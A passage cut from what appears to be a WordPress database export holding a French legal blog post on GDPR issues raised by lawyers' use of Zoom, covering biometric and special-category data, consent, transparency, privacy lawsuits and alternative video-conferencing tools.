à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook&nbsp;</a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Tableau Comparatif NOYB  -  Pour la version avec liens actifs,  </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre tableau comparatif produit par l\'Atorite de protection des données Hollandaise traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Tableau\'s description.      <a href=\"https://bit.ly/2wLRJKs\">https://bit.ly/2wLRJKs</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','inherit','closed','closed','','601-revision-v1','','','2020-04-17 18:08:55','2020-04-17 17:08:55','',601,'https://datarainbow.eu/2020/04/17/601-revision-v1/',0,'revision','',0),(674,5,'2020-04-17 18:19:04','2020-04-17 17:19:04','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list 